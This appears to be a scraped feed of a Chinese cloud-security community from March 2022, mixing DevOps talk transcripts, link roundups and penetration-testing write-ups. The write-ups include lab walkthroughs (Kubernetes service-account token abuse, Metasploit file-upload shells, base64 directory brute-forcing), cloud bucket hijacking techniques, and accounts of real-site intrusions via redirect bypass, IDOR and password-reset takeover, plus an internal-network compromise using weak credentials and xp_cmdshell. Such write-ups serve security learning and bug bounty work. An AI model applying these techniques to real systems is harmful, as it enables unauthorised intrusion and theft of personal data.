为什么团队开发运维方式备受诟病?说到底还是一个效率问题,因为研发和运维之间的利益是不一致的,所以导致效率就很低下。其实DevOps目的最重要的理顺研发和运维之间的关系,能满足彼此之间的关系,调动大家积极性,从而提升效率。
传统运维基本上分为两段,一个开发一个运维。研发更多是做开发,运维主要是基础设施运维。但是他们之间关系难理顺,因为利益是不一样的,开发是要快速的去部署,但运维更关注的是稳定性。

在这种情况下,我们需要改变这种方式,就需要考虑怎么去通过不管是组织架构,或者系统架构去做调整,然后去理顺这个关系。就是说怎么去重塑这一个研发运维的架构,让让彼此之间的利益能够互相满足。然后去提升这个效率。从我而言,分为几个视角。
一个就是说系统层次即应用层次的视角,我们从上层微服务架构的应用服务到微服务部署平台,到最后的资源,最终到底层的物理介质等等这些。在不同层次,运维的人员也都会不一样。
另外一个视角就是整个应用的周期过程,从需求到分析、设计、编码、测试,整个生命过程。这其中也涉及不同的角色。还有很重要的一点是我们今天需要讨论的是管控安全,涉及不同的角度都需要把运维和开发的关系理顺,研发运维整个体系的效率才能提升上去。
从传统的组织架构而言,就是首先做个分层。我们现在的DevOps提倡这个研发运维一体化。那研发的话,可以把应用的研发运维这个职责承担起来,底层这基础设施资源这些可以由传统的运维去做,因为他们也是擅长这块的。所以可以由他们继续来做这方面的工作,就相当于说有我们原来的分段再去做分层的一个处理。
这样的话,原来的运维人员也不会说没有事情可干。
我们在谈DevOps的时候,从我们接触这些厂商来说的话,更多关注的是开发,关注运维相对会少。从Google S1视角来说的话,他们更关注运维,通常观点是不一样的,这个是值得我们去思考。
关注运维无疑是正确的,就是从实现开发运维一体化这个角度来说的话,以系统工程的思想来解决工程软件的问题时从整体上去思考,会比你单单去考虑研发要好很多。因为即便把研发的效率提升了,运维效率提升不上去,整体上效率还是有瓶颈的,还是解决不了实际的问题。

要重塑研发运维这个架构,首先要解决的就是人的关系。我们前天在群内群嘲的时候说要把运维砍掉这个是有点儿太武断。你不能一刀把运维砍掉,而是要考虑这个人尽其才。
像国企的话是需要考虑社会责
2022年3月10日 14:33火线zone
2022年3月5日晚间,火线沙龙第23期—云原生&DevSecOps专场在线上顺利举办,本次沙龙特别邀请到了中国银河证券架构师、清华MEM大讲堂创始人 汪照辉、极狐(GitLab)技术布道师 马景贺(小马哥)、探真科技研发副总裁 李祥乾以及国内某支付机构安全架构师 Clare 四位老师,来看看他们的精彩分享吧~
@汪照辉老师
分享议题:《DevOps落地思考》
汪老师说到,DevOps安全是DevOps建设过程中重要的内容,高效地融合为一体。本次我将分享下重塑DevOps体系和DevOps落地的思考和思路,希望能从思维层面带来一些认知的改变,能促进国内产品化的完善。
@马景贺老师
分享议题:《DevSecOps: 让大家都 Happy 的安全软件构建模式》
小马哥从另一个角度向我们解释了DevSecOps 被认为是保证软件安全的重要手段,不能简单认为 DevOps + Security = DevSecOps,真正构建高效的 DevSecOps 体系,不仅需要研发、安全、运维等团队的参与,更需要合适的工具,适宜的流程,从而打造适合本团队且能真正落地的 DevSecOps 体系,最终达到团队受益,软件安全交付的目的。
@李祥乾老师
分享议题:《DevSecOps邂逅云原生:云原生时代下的持续安全》
李祥乾老师在演讲中说,随着云原生时代的到来,一系列围绕着容器、容器编排、服务治理的技术方案的愈加成熟,随着DevOps文化的兴起,相比于传统架构,云原生具有一系列的特性,使得安全能够更加低摩擦地内生于企业的流程中,内生于DevOps之中,更好地践行DevSecOps。从云原生架构与传统架构的不同之处开始,讨论云原生架构下如何在加快的CI/CD中,实践持续安全(Continous Security)。
@Clare老师
分享议题:《云原生安全实践 》

Clare老师给我们讲述了容器,微服务,弹性分布式网络架构的引入,云原生(Cloud Native)云安全问题已经成为企业防护的重中之重. 针对云原生体系面临安全风险与威胁,从攻击到防御角度的纵深防御探索和实践。
看完这些,是不是直呼精彩,还想要了解更多呢?扫描下方二维码,关注火线Zone公众号回复关键字“火线沙龙第23期”获取本次直播全部PPT,期待你的互动~
视频回放链接:
第23期火线沙龙——DevOps落地思考
https://www.bilibili.com/vi
2022年3月10日 13:33火线zone
The Route to Host:从内核提权到容器逃逸
https://mp.weixin.qq.com/s/63xLUPsz2ozHlZOb6emzPA
Spring cloud gateway通过SPEL注入内存马
https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg
浅谈一下,Linux中基于eBPF的恶意利用与检测机制
https://mp.weixin.qq.com/s/-1GiCncNTqtfO_grQT7cGw
GKE(Google Kubernetes Engine) Autopilot 漏洞
https://unit42.paloaltonetworks.com/gke-autopilot-vulnerabilities/
思科云原生安全 – 第 3 部分,GitOps 和 CI/CD
https://blogs.cisco.com/developer/cloudnativesecurity03
Dirty Pipe Linux 漏洞:覆盖容器镜像中的文件(CVE-2022-0847补充)
https://blog.aquasec.com/cve-2022-0847-dirty-pipe-linux-vulnerability
EKS安全最佳实践
https://medium.com/@cloud_tips/eks-security-best-practices-a46c4b951cfb
k8s安全入门
https://mp.weixin.qq.com/s/T2QGLlKwjaUByDtGFL94PQ
2022年3月10日 12:33火线zone
因火线沙龙第23期—云原生&DevSecOps专场的举办,沙龙群里各位大佬提前对议题进行了一番讨论。
运维还有未来吗?来看看群友怎么说吧!
Q1:怎么看待中台和多云管理?
A1:我认为这两个都是伪问题,没有研究价值,类似IT行业的气功治疗法。多云管理是资源纳管平台,实现基础设施资源统一管理和调度。云计算解决的是分布式网格计算问题,也就是算力问题。也就等同于利用CPU、内存、存储、网络等基础设施资源实现分布式计算、网格计算能力,通过提供标准化的基础设施资源计算服务(IaaS服务),支撑不同企业的大数据量计算和存储等需求。
B2:可以去用代码管理各种云的资源设备~ 移植、复制、升级,都会容易些上面两个可能还不够用,还需要多个环节去帮助完美实现,讲真一个企业用多个云,很多场景是必须的,有价值的
A1:这种云计算的认知,还是把云当做特大号idc,只是存储计算网络三大件的资源池。实际上,云计算远远不只是一个资源池。云计算的定义可以有多个角度,我们先谈开发者角度: 云计算是通过API把Infra和底层模块抽象为服务,用以提升开发运营效率的平台。
C3:“云计算” 这个概念或者符号本来就是用来简化复杂的事实场景的,就像人要取名字一样啊,这些分享和文章只要是合理的去解释某一个部分的场景,就是有一定价值的,可能你不喜欢,那你应该分享你的“观点”。
Q2:运维是不是要集体下岗了
A1:我的文章,共大家打靶子https://mp.weixin.qq.com/s/VkTUMax8dNMWygwaz9UPMg
D4:看这标题就不用看了,还定位运维在传统岗位上。现在网工都在开发自动化产品,早不是过去那个时代了。
C3:这篇的新意在哪里?我要的是新“观点”@马驰
A1:没啥新意,就是把我公司的做法总结一下,我们已经干掉了运维,连带dba和专职测试都被干了,只有网工和安全还在,其余都是dev。
E5:请教一下,没有运维的话,发布平台谁来负责啊?采购的第三方发布工具吗?还是让每个研发都去学ops,做CI/CD?
F6:第一次听说不需要运维的,是不是要把运维的工资给开发,让开发去运维呀
A1:对,devops
G7:那么,devops岗位算开发还是运维嘞
A1:根本就不应该有这个岗位,有这个岗位的公司,都是被伪专家忽悠了
H8: https://www.zhipin.com/job_detail/?query=devops&city=1000100
2022年3月9日 18:04火线zone
未授权的发现过程:
旁站攻击---->未授权访问且自带cookie----->转移到主站后台进行访问----->一闪而过的后台----->成功拿下
具体发现过程:
信息收集就不进行赘述了,在前篇文章已经有过讲述。
这里收集到旁站。
旁站渗透:

在这里可以看到任何功能点都不能进行操作,并且没有返回值,就当我要放弃的时候,偶然的一次抓包让我看到了希望。这里可以看出来只是前端进行了打码。

这里测试了一下泄漏量,才不到300的泄露量。

主站的渗透:(这里访问他的主站)
这里的发现是一个奇怪的过程,因为我在渗透的时候不知道两个站是进行了统一性的接入系统,刚开始就糊里糊涂的渗透了。
因为从url进入的时候是一闪而过的后台,这里直接抓包发现有一个302跳转的情况,我把这个302跳转直接删除掉就直接进入到了后台。

进入之后发现
手机号泄露了几十万条:

这里点击查看到短信内容---柳暗花明
这里记录你从后台发送的每一条信息,这里也可以看到充值信息。

这里的数据经过测试,是前端进行打码,意思是手机号可以看到,试想一下,如果你修改了一个充值账号的密码,是不是就可以拿他上面的钱进行任意操作了。(当然,如果这样你就很有可能去吃免费餐)

致此为止,就不再进行渗透下去了,因为已经拿到了所有用户的数据,所有用户的地址泄露和任意操作权限, 打包提交。
还审核挺快。

心得:
(1)信息收集是一个特别重要的过程。
(2)挖洞沉下心来,去认真的看每个参数,每个返回包的内容。有可能就有不一样的收获,无非就是一个抓包的过程,如果没有当时的抓包,就没有后续的渗透。
与师傅们共勉 😀
2022年3月9日 16:34火线zone
前言:
本文主要是对frida框架进行一个简单介绍,以及通过官网的例子,初步演示frida的用法,参考链接https://frida.re/docs/home/
一、介绍
Firda 是一款易用的跨平 Hook 工具, Java 层到 Native 层的 Hook 无所不能,是一种 动态 的插桩工具,可以插入代码到原生 App 的内存空间中,动态的去监视和修改行为,原生平台包括 Win、Mac、Linux、Android、iOS 全平台。
Frida 优点
frida的优点在于,配置环境简单,操作简洁,对于初期刚接触的破解者还是很友好的,而且可以动态调试, 不需要重启,上手比较快。
二、Frida 安装与启动
Frida分为客户端和服务端
客户端:PC
Python3x
pip install frida-tools
安装完成后查看版本(比较重要)
C:\Users\Administrator>frida --version
15.1.17
服务端:手机设备(需要root)
1、查看CPU架构
C:\Users\Administrator>adb shell
root@x86_64:/ # getprop ro.product.cpu.abi
x86_64
2、根据CPU架构找到对应的frida-server,地址:
https://github.com/frida/frida/releases
这里有个地方需要注意, frida-server的版本要与上述的客户端版本一致
3、将下载好的文件解压,adb push 文件到指定的目录 、data/local/tmp
4、给文件赋权, chmod 777 frida-server
5、启动服务:./frida-server

三、Frida 使用
以官方文档的app为例
“This tool is based on the SECCON Quals CTF 2015 APK1 example, download the APK here."
https://frida.re/docs/examples/android/
下载安装app,这是一个简单的石头剪刀布的游戏,赢了得分+1,得分=1000的时候获得flag,启动后界面是这个样子

源代码分析,主要代码如下:
`package com.example.seccon2015.rock_paper_scissors
2022年3月9日 16:34火线zone
Unobtainium这个靶机是hackthebox的K8S靶机,最近云跟大数据好像很流行,我也来跟风一下,主要还是介绍拿下一个POD后续利用。
开始
开始我们还是常规的信息搜集之类的,常规扫端口看服务

这里我们看到了etcd这个服务(etcd是一个非常可靠的kv存储系统,常在分布式系统中存储着关键的数据)
https://zhuanlan.zhihu.com/p/339902098(外链介绍)
具体就是该存储系统配置不好会导致未授权,我们继续
确认该靶机是在虚拟化中,查找dockerenv文件

中间利用我就不提了大家可以自行搭建搞定shell的途径,我们讲的重点是搞定K8S主机权限之后的后续操作
进入一个POD还是要信息收集serviceaccount
该文件存在于两个位置:
/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
因为刚开始我们知道有一个etcd服务,所以可以猜测大概是master节点,然后构造命令请求api
cd /run/secrets/kubernetes.io/serviceaccount
curl --cacert ca.crt --header "Authorization: Bearer $(cat token)" -X GET https://10.10.10.235:8443/api

创建一个~/.kube/config,kubectl默认会从$HOME/.kube目录下查找文件名为 config 的文件,config就是访问集群的配置。
token 就是/run/secrets/kubernetes.io/serviceaccount/token
certificate-authority-data 就是base64 编码后的/run/secrets/kubernetes.io/serviceaccount/ca.crt
大概是如下配置
apiVersion: v1 kind: Config users: - name: evil user: token: eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3M
2022年3月9日 13:34火线zone
0x00前言:
其实华为云和其他云的攻防利用方式大同小异,师傅们可以对照着前几篇云安全对象存储攻防文章享用
阿里云 https://zone.huoxian.cn/d/918-oss
腾讯云 https://zone.huoxian.cn/d/949-cos
谷歌云 https://zone.huoxian.cn/d/931
微软云 https://zone.huoxian.cn/d/940
AWS https://zone.huoxian.cn/d/907-aws-s3
下面就简单列举下华为云对象存储下的攻防手段
0x01、Bucket劫持
华为云bucket劫持和阿里云的差不多,注意的是华为云在删除掉自己的bucket后30分钟后才可重新注册相同名称的bucket
https://console.huaweicloud.com/console/?region=af-south-1#/obs/manager/buckets
进入华为云的对象存储服务、桶列表、创建桶

当bucket名称存在时会报错
请求的桶名已经存在,或被其他用户占用,请重新输入。

0x02、Bucket爆破

不存在,返回NoSuchBucket

存在,返回AccessDenied
0x03、Access Key Id、Secret Access Key泄漏
Github 敏感信息泄露

反编译目标 APK
目标网站源代码泄露
返回包、JS文件泄漏
...
0x04、特定的bucket策略配置
CORS,限制指定的Referer头,自定义设置Referer头
无指定Referer

指定Referer

curl命令验证

0x05、任意文件上传(无法解析)
上传html等后缀的文件无法解析,直接下载

但是其存在分享功能,分享出来的文件是可以解析的

但是分享有时间限制

从上图中可以看到,分享的链接只保持1分钟到18小时
0x06、文件覆盖
下面是华为云官方文档介绍,是可以覆盖掉对象

这里没实际搭建环境,使用官方工具做个演示,可以看到bucket中文件名为ddddd.jpg,我们上传一个同文件名的文件

可以看到文件名一样就会覆盖前面的对象

0x07、Bucket Object 遍历

如上图,如果设置为公共读或者公共读写就会导致object遍历(设置公共的时候会有提示,问题有可能会出现在复制桶策略上)

可拼接key来下载文件
2022年3月9日 12:04火线zone
Azure 自动化服务中的严重跨账户漏洞
https://orca.security/resources/blog/autowarp-microsoft-azure-automation-service-vulnerability/
微软修复Azure云严重漏洞,可用于泄露客户数据
https://mp.weixin.qq.com/s/y_N8SSht5LQ0ZNlFwOrLbA
90 秒 ThreatMapper 简介:如何找到最关键的漏洞
https://go.deepfence.io/threatmapper-how-to-find-your-most-critical-vulnerabilities
云原生WIKI
https://www.aquasec.com/cloud-native-academy
浅谈云上攻防——Kubelet访问控制机制与提权方法研究
https://mp.weixin.qq.com/s/jESETCZzB5ZsLnb6F2xFcQ
容器安全在野攻击调查
https://mp.weixin.qq.com/s/oynjO8Q3IgZJt21HwxxMgA
2022年3月8日 23:33火线zone
CBLD名字乱写的🙂 我自己都没想好这个工具叫什么名字,如果有好想法的时候可以在Issue中提出
目录概要
0x00 前言
关于原理上的,可以参考火线云安全社区上的文章
阿里云 https://zone.huoxian.cn/d/918-oss
KEVIL 腾讯云 https://zone.huoxian.cn/d/949-cos
ricky 微软云 https://zone.huoxian.cn/d/940
ricky 谷歌云 https://zone.huoxian.cn/d/931
TeamsSix Aws https://zone.huoxian.cn/d/907-aws-s3
原理都大致相同
个人理解的工具用处就是帮助人解决繁琐的流程,达到自动化
0x01 安装
GitHub:https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools
git clone https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools
pip3 install oss2
pip3 install colorlog
pip3 install argparse
pip3 install dnspython
1、配置自己的阿里云AK
获取AK后写入config/conf.py文件即可
0x02 使用方法
1、整体功能
首先会检查传入的参数是存储桶,还是域名
如果是域名
判断解析的CNAME是不是存储桶的地址
如果与存储桶
继续走下面的流程
检测存储桶的名称是否存在,会有以下三种情况
1、存储桶名称不存在
此时会自动调用self.Exploit.AliyunOssCreateBucket_Exp()方法劫持存储桶
2、存储桶名称存在
3、存储桶名称不符合规则
1.1、检测功能
判断是否可以遍历存储桶
判断是否拥有获取/上传存储桶的ACL权限
判断是否拥有获取/上传存储桶策略的权限
判断是否可以上传文件到存储桶
2、单个Target检测与利用
如果使用-aliyun作为参数传入一个存储桶地址,就会自动检测
上图可以看到是所有权限都是AccessDenid的状态
如果此时我们传入一个不存在的存储桶名称
uzjucalksdklfkalsdkf.oss-cn-beijing.aliyuncs.com
此时判断该存储桶不存在,所以
2022年3月8日 19:03火线zone
大家好,我是徐越,今天分享云原生安全这个话题,云原生安全这个话题其实太大了,我之前所做的一些研究成果,主要是在应用层,所以我们今天讨论的重点就围绕着云原生的应用安全。
第一块:云原生的应用安全目前发展到一个什么进度,以及未来它会向哪些方向去延伸。
第二块:我们做技术的是怎么样去入门?

我是从17年开始进入到一线的云厂商,做云安全产品以及安全研究相关的工作。之前关于云原生领域的研究成果,从主机安全到Web安全,到容器安全,这些可以在我的博客上找到。https://cdxy.me/about

议题主要分为四个大部分
第一部分:云安全现在发展到一个什么样的阶段,我们作为一个安全从业者怎么看待这件事情,我们要不要投入云安全研究?
第二、三部分:从红队和蓝队两个视角去介绍云安全的技术发展,目前都涉及到的技术栈是什么?做这些研究所需要的能力是什么?
第四部分:云安全的入坑建议。

第一部分,首先就是云安全是什么?云安全对于整个安全行业,或者对于我们每一个技术人来讲,我们到底怎么看待这个事情?我们要不要把它当做我们工作的主要方向去做,这个背后的根本逻辑是什么?

首先整个网络安全行业,它是有很多驱动力在的,其中我认为最强也是周期最长的一个驱动力,就是IT基础设施的发展。也就是说安全一定是跟随着基础设施架构发展去不断演进的。
那么现在基础设施发展的趋势是什么?就是万物互联,我们之前讲的,比如早期的边界防御到后面的纵深防御,再到现在我们发现所有的大型企业级应用,基本上都能看到非常多的云边端的互联,云又分为私有云、公有云,包括云上的SaaS服务等几个方面。
我们现在看到一个企业级的应用。他其实把非常多的基础设施和能力连接了起来,比如公有云的IaaS层,以及私有云的IaaS层,VM或者容器等等这些基础设施,包括云上的所有SaaS化的服务,包括企业的应用有可能会跟终端,比如手机端的这些APP,智能汽车里面内置的APP,边缘计算以及传统的企业的IDS,企业内部的办公,以及很多这种PaaS平台对第三方合作伙伴或者开发者开放的一些能力。
在万物互联的背景下,边界这个概念在逐渐地弱化,资产的攻击面是越来越多的,那么想做好安全这件事情,其实就是要求每一块安全能力要不断的去细化,下沉到基础设施层。
那么我们看到在这里面,云安全只是万物互联的IT基础设施发展下的,只是大趋势里面的一部分,那我们仅讨论云安全这个话题,目前云安全有什么问题,这里面我主
2022年3月8日 14:03火线zone
一、前言
1.最近在火线里面发现了大量关于oss攻防的文章,看了很有帮助,这里贡献一个关于oss攻防的另外一种姿势
二、漏洞复现
1、我们可以利用搜索引擎/fofa/hunter去搜索存在Bucket Object 遍历的oss
但是当我们打开时会发现漏洞已经被修复
2、转换一下思路既然无法遍历key但是原来的文件是否还存在呢。这时候我们可以利用搜索引擎的快照功能去搜索key

3.会发现快照里面存储了一些以前暴露的文件,我们利用这些暴露的跟oss进行拼接即可获取到文件
2022年3月8日 13:33火线zone
前言
Kali攻击机:192.168.1.128
靶机:未知,同网段
信息收集阶段
nmap -sn 192.168.1.0/24

nmap -A -p- 192.168.1.3

可见开启了22端口和80端口,80端口对应的CMS是WordPress 5.7.2,这个CMS是有漏洞的!
漏洞利用阶段
这需要使用一个工具WPSCAN,这个工具是KALI自带的工具,同时需要在
https://wpscan.com
注册一个账户,注册完成后会提供一个API,这个免费账户每天可以使用25次!
wpscan --url http://192.168.1.3 --api-token=你的token --plugins-detection aggressive -t 50
直接扫描,需要点时间!!!!
3个漏洞!!!!

接着,我们采用msf进行进一步漏洞利用:
Unauthenticated Arbitrary File Upload:未经验证的任意文件上传!!!

我们查看以下选项:

这个有三个选项需要设置:
set rhosts 192.168.1.3
set lhost eth0
set BLOGPATH /2021/06/09/hello-world/
BLOGPATH对应连接:

链接地址为:
http://beloved/2021/06/09/hello-world/
然后run -j,已建立会话,切换到会话,切换到shell!!!!

但是这个目录下没有需要的文件信息:
权限提升阶段
接着执行sudo -l:列出目前用户可执行与无法执行的指令。
sudo -l
su: Authentication failure
Matching Defaults entries for www-data on beloved:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User www-data may run the following commands on beloved:
(beloved) NOPASSWD: /usr/local/bin/nokogiri
beloved用户可以访问文件/ usr / local / bin / nokogir
我会立即说该
2022年3月8日 13:03火线zone
前言:
KALI攻击机:192.168.1.128
靶机地址:192.168.1.17
信息收集阶段:
nmap -A 192.168.1.17

发现开启了22端口和80端口:
漏洞利用阶段
访问一下80端口:

有一串:
QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK
我们查看一下源码:
我们把那串编码解码下看看!!!

echo "QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK " | base64 -d
你所需要的所有数据都需要base64编码?包括你需要的密码,记住BAS64是所有问题的答案!!--lucas!!!
接下俩,我们需要进行目录扫描,但是由于上面的提示信息,我们首先需要把字典通过base64进行编码!!!
for i in $(cat /usr/share/wordlists/SecLists-2022.1/Discovery/Web-Content/common.txt);do echo $i | base64 >> dict64.txt;done
gobuster dir -u http://192.168.1.17 -w dict64.txt
扫出来2个目录!!!

访问下看看:
http://192.168.1.17/aWRfcnNhCg==
下载下来一个文件!!!看着像base64!!

cat /root/Downloads/aWRfcnNhCg=\= | base64 -d ,像是密钥文件!!!

还有一个文件:http://192.168.1.17/cm9ib3RzLnR4dAo=
2022年3月8日 12:03火线zone
【安全通告】Linux Kernel 本地权限提升漏洞风险通告(CVE-2022-0847)
https://mp.weixin.qq.com/s/rbv1564WNOHHmxeSxPGMGw
阿里云存储桶利用脚本
https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools
CVE-2022-22947 EXP
https://github.com/shakeman8/CVE-2022-22947-RCE
云安全 | 容器基础设施所面临的风险学习
https://mp.weixin.qq.com/s/hzPDbxBRjOJGTCQVyNxX3g
【云安全工程师之路】系列一~了解微服务
https://medium.com/@takahiro-oda/road-to-cloud-security-engineer-series-1-understand-microservices-d09c9df593e6
浅谈K8S攻防:从进入POD到控制K8S集群
https://mp.weixin.qq.com/s/0DeqmWx4d1ZOuLKLoCMGFw
《Kubernetes 加固指南》中文版
https://jimmysong.io/kubernetes-hardening-guidance/
简化 OpenShift 上的托管数据库访问
https://telegra.ph/Simplifying-Managed-Database-Access-on-OpenShift---Hybrid-cloud-blog-03-07
2022年3月8日 10:03火线zone
背景
apisix网关之前出过一个dashboard api未授权访问漏洞:因为访问下面两个接口不需要身份认证,所以可以利用这两个接口进行rce。

在刚分析这个漏洞时,我有点困惑:
filter目录下的代码看着像是"中间件"(或者叫"过滤器")的实现,而"中间件"应该是所有请求都会经过"中间件"的业务逻辑,那为什么访问上面的两个接口就没有经过filter.AuthenticationMiddleware中间件的认证逻辑呢?为什么访问其他接口就会经过filter.AuthenticationMiddleware中间件的认证逻辑呢?
虽然动态调试下个断点,就能看到函数调用流程,但是我还想知道"路由"和"中间件"从web框架层来看是怎么设计的。
apisix项目用到了gin框架和droplet框架,本文记录我对这两个框架"路由"和"中间件"使用和设计的研究,以解决自己的疑惑。
分析
为什么其他接口就会经过filter.AuthenticationMiddleware中间件的逻辑?
"业务代码"可以使用"gin框架提供的Use接口"注册中间件,比如下面这样
从上图中并没有看到filter.AuthenticationMiddleware中间件被注册,那么为什么其他接口就会经过auth中间件的逻辑?比如GET /apisix/admin/routes HTTP/1.1
答案在droplet库:apisix通过droplet接口注册了filter.AuthenticationMiddleware中间件

这样当访问/apisix/admin/routes路径时,请求会经过gin框架注册的"中间件"、droplet注册的"中间件"。
有一个不严谨的结论:上面的两张图中,handlers和mws数组中的所有"函数"会被依次调用。
为什么/apisix/admin/migrate/export接口不会经过filter.AuthenticationMiddleware中间件的逻辑?
/apisix/admin/migrate/export路由对应的"处理函数"并不是wgin.Wraps包装的,这样代码流程会不从gin框架转移到droplet框架
对比可以看到/apisix/admin/routes路由对应的"处理函数"是wgin.Wraps返回的,这样代码流程会从gin框架转移到droplet框架
小结:gin框架和droplet
2022年3月8日 10:03火线zone
0x01 前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
本文章中的漏洞均为公开的漏洞收集,如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。
0x02 会话传递
前面信息收集的就不多说了是通过弱口令文件上传拿到的shell
通过哥斯拉上线msf

上线后查看安装的程序信息以及ip补丁信息等,进行一些收集记录,方便后续测试



由于信息太多,其余的就不贴了
接着上线CS来进行测试吧,个人觉得CS比较好玩,只是不想做免杀以此拿msf来当个跳板罢了!

成功上线

0x02 内网渗透
接着利用CS的socks代理进内网进行内网渗透
利用拿到的机器权限的账号密码进行密码字典爆破
administrator/aiyuyuan
拿到机器权限如下:


通过获取mssql数据库权限后开启xp_cmd获取服务器权限

图 2-1-2-3 服务器
未授权、弱口令拿到mssql数据库权限
sa/空密码



图 2-4-5-6 mssql数据库
未授权访问拿到打印机控制权限


图 2-7-8 打印机
默认密码拿到FTP权限
anonymous

图 2-9 FTP
通过访问服务器上装的应用程序拿到UPS控制权限

图 2-10 UPS
0x04 结束语
很可惜少拿到一台服务器权限吗,原本可以拿到的结果对方把数据库服务器关了,在此感谢各位师傅观看,有建议都可提!!!
2022年3月7日 17:03火线zone
闲谈:距离上次发的作品已经过去十几天,在这十几天中,也没有停止步伐,也做了一些在找一些信息收集的新方式和新姿势。
补充上次信息收集的新方式:
横向收集:先对domain站进行收集
(1)微信公众号的收集。无论是收集关键字也好,还是直接搜xxx根据微信搜索引擎的陈列也好。公众号这种方式我感觉也是比较主流的收集方式。
(2)空间搜索引擎推荐,首推fofa。还是那句话,fofa的资产会随时变化。
(3)冷门的资产收集引擎---点点。自我感觉对子域的收集还是比较不错的。

纵向收集:再对每个domain站进行收集
(1)icp备案搜索。这里我推荐搜索icp备案。因为icp备案是对单一网站纵向的贯穿(自我感觉)

(2)企业查。(这种还不是太会)
漏洞干货:(实例简介对某网站的渗透)
(1)意想不到的漏洞--(来的很突然)
(本人意图,本来想测试是否有越权漏洞的存在,这里走正常流程进行测试)

当正常输入的时候,回来一个响应失败。我心想着这肯定不存在越权漏洞。

这里本来就放弃测试测试其他的,但是我以不知何原因,点击了刷新按钮。直接进入到了主页。后来经过测试发现,是任意用户,任意验证码,就可以到达主页(至今不明白是何原因)

(2)正常测试的信息泄露。
测试原因:因为这是对数据库交互的地方,所以可能存在越权问题。

这里抓包查看,发现鉴权参数是用一个复杂参数userid来进行鉴权的。

这里就设计到一个收集userid的过程。

在这里就到了评论的地方,进行抓包查看。就看到了userid。这里对userid进行篡改

就看到了用户信息。


漏洞3:接口重放漏洞--较为简单。
这里可以发现,浇花可以获得积分。

直接拿bp去爆破刷积分。


积分的用途:

漏洞4:修改密码的鉴权参数的泄露。(根据一个rescode然后返回一个reqcode)

抓包的时候发现一个rescode。

重开一个界面为另一个手机号。

然后把上面抓取到的rescode改到这个数据包里面。就可以成功越权,下面步骤就是正常修改密码的步骤。

就可成功越权修改密码,成功登录到这个账户。

心得:对于漏洞挖掘来说,资产越多挖到的漏洞也就越多,以前觉得漏洞思路很有用,现在感觉,信息收集才是王道。以上有不对的地方,希望大家指出。读文章的同时,给一个赞也是可以的哦 😀
2022年3月7日 11:33火线zone
规模化寻找未加密的AWS EBS卷
https://cloudyali.medium.com/finding-unencrypted-aws-ebs-volumes-at-scale-80632010ae75
AWS 上的 Red Hat OpenShift 服务中的入口控制器指南
https://telegra.ph/A-Guide-to-Ingress-Controllers-in-Red-Hat-OpenShift-Service-on-AWS---Hybrid-cloud-blog-03-04
自建S3服务
https://wbuntu.com/deploy-a-s3-service/
k8s历史相关漏洞分析及修补方式
https://blog.quarkslab.com/kubernetes-and-hostpath-a-love-hate-relationship.html
如何在 Kubernetes 中安装 ThreatMapper
https://go.deepfence.io/en-us/how-to-install-threatmapper-in-kubernetes-video
CSPM 云安全态势管理工具
https://medium.com/@cloud_tips/cspm-cloud-security-posture-management-tools-c02ab6dfdaf3
多云安全挑战——如何保护多个云
https://medium.com/@taimurcloud123/multi-cloud-security-challenges-how-to-secure-more-than-one-cloud-d3bb4a7e7917
CNCF年度调查原始数据
https://github.com/cncf/surveys/tree/main/cloudnative
零信任备忘录
https://zt.dev/posts/omb-22-09-zt-memo-notes/